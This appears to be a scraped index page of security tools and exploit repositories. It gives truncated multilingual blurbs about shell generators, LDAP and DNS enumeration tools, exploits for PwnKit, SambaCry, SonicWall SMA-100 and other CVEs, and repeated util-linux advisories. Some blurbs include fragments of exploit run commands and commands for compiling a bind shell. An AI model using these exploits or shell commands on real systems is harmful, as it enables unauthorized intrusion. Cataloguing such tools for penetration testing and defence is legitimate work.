One-Lin3r

One-Lin3r One-Lin3r is simple modular and light-weight framework gives you all the one-liners that you will need while penetration testing Windows, Linux, macOS or even BSD systems or hacking generally with a lot of new features to make all of this fully automated ex: you won't even need to copy...

msLDAPDump

msLDAPDump LDAP enumeration tool implemented in Python3 msLDAPDump simplifies LDAP enumeration in a domain environment by wrapping the ldap3 library from Python in an easy-to-use interface. Like most of my tools, this one works best on Windows. If using Unix, the tool will not resolve hostnames...

copy-fail-mitigation-with-bpftrace

Copy Fail 修复 с помощью eBPF, одной строкой кода CVE-2026-31431, также известная как Copy Fail, может быть исправлена одной строкой кода с помощью команды bpftrace, без компиляции kpatch и без сборки через cargo English Version|中文版本 Идея Для эксплуатации этой уязвимости необходимо привязаться к...

badblood

Bad Blood Bad Blood — это эксплойт для CVE-2021-20038, переполнения буфера в стеке в бинарном файле httpd систем серии SMA-100 с версиями прошивки 10.2.1.x. Многие технические детали я описал здесь: AttackerKB CVE-2021-20038 Эксплойт, как написано, открывает telnet bind shell на порту 1270...

Pwnkit-go

PwnKit-go-LPE CVE-2021-4034 Эксплойт для CVE-2021-4034, написанный на golang, известный как pwnkit root@kitploit: @@@@@@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@ @@@@@@ @@@@@@@@ @@@ @@@ @@@ @@@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@@ @@@@@@@@ @@! @@@ @@! @@! @@! @@!@!@@@ @@! !@@ @@! @@! !@@ @...

docker-socket-risk-demos

docker-socket-risk-demos Репозиторий-компаньон для видео: Stop Mounting docker.sock — Run Trivy Without Giving Away Root Access — inspired by CVE-2026-33634 https://www.youtube.com/watch?v=xLTYzfPY3xI Этот репозиторий содержит пример веб-приложения и промпт для Claude Code, использованные в видео...

CVE-2020-0910

CVE-2020-0910 Рабочий Proof-of-Concept эксплойта CVE-2020-0910 — обратная привязочная оболочка Reverse Bind Shell Протестировано с использованием Python2.7 Для установки: pip install -r requirements.txt Для запуска: python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

persisthunt

Linux Persistence Detection, Hunting and Artifact Collection Summary Usage Example Detections Table of Techniques Summary persisthunt.sh helps speed up investigations by collecting targeted persistence-related artifacts and highlighting suspicious patterns commonly associated with Linux persisten...

socks5

socks5 Socks5/Socks5h server and client This project is to add protocol support for the Bridge, or it can be used alone Usage API Documentation Example Support for the CONNECT command Support for the BIND command Support for the ASSOCIATE command License Licensed under the MIT License. See LICENS...

CVE-2017-7494_SambaCry

CVE-2017-7494 SambaCry Exploit Эксплойт SambaCry CVE-2017-7494 для атаки на Samba bind shell без Metasploit Если нужно изменить порт, просто измените строку 68 в bindshell-samba.c и перекомпилируйте: root@kitploit: gcc -c -fpic bindshell-samba.c root@kitploit: gcc -shared -o libbindshell-samba.so...

shellerator

Shellerator Shellerator is a simple CLI/TUI tool aimed to help pentesters quickly generate reverse, bind and web shells in multiple programming languages like Bash, Powershell, Netcat, PHP, ASPX, etc. Another similar project for the generation of one-line file downloading commands is based on thi...

CVE-2026-78410

A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount8 to bind another host directory. If the fst...

dnsrecon

DNSRecon DNSRecon is a Python port of a Ruby script that I wrote to learn the language and about DNS in early 2007. This time I wanted to learn about Python and extend the functionality of the original tool and in the process re-learn how DNS works and how could it be used in the process of a...

hacktivity-vulns-exploits-lab

Уязвимости, эксплойты и полезные нагрузки удалённого доступа — отчёт по лабораторной работе Мой разбор и анализ листа Hacktivity Cyber Security Labs «Уязвимости, эксплойты и полезные нагрузки удалённого доступа» курс «Этичный взлом и тестирование на проникновение», Университет Лидс Беккет. В нём...

EUVD-2026-70106

A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount8 to bind another host directory. If the fst...

CVE-2026-78410 Util-linux: util-linux: restricted bind mounts do not pin the source, allowing x-mount.owner/group/mode redirection

A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount8 to bind another host directory. If the fst...

CVE-2026-78410

util-linux is affected by a flaw in how restricted bind mounts are handled. The source path taken from /etc/fstab is not pinned before the privileged mount(8) call, allowing a local unprivileged user who can replace the authorized source or a writable ancestor to redirect the SUID mount to bind a...

CVE-2024-21006_jar

CVE-2024-21006jar exp代码参考：https://github.com/momika233/CVE-2024-21006 这里将源代码编译成了一个jar包，方便使用。lib下是依赖文件，如果想修改源码可自行编译。 使用 root@kitploit: java -jar CVE-2024-21006.jar 参考dadvlingd师傅的项目，bind随机字符串，解决payload只能打一次的问题。 参考 https://blog.csdn.net/zwy15288408160/article/details/138189146...

CVE-2026-78410

A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount8 to bind another host directory. If the fst...

ShellPop

ShellPop About Shellpop is all about popping shells. With this tool you can generate easy and sophisticated reverse or bind shell commands to help you during penetration tests. Don't waste more time with .txt files storing your Reverse shells! Installation Python 2.7 is required. 3.0+ version wil...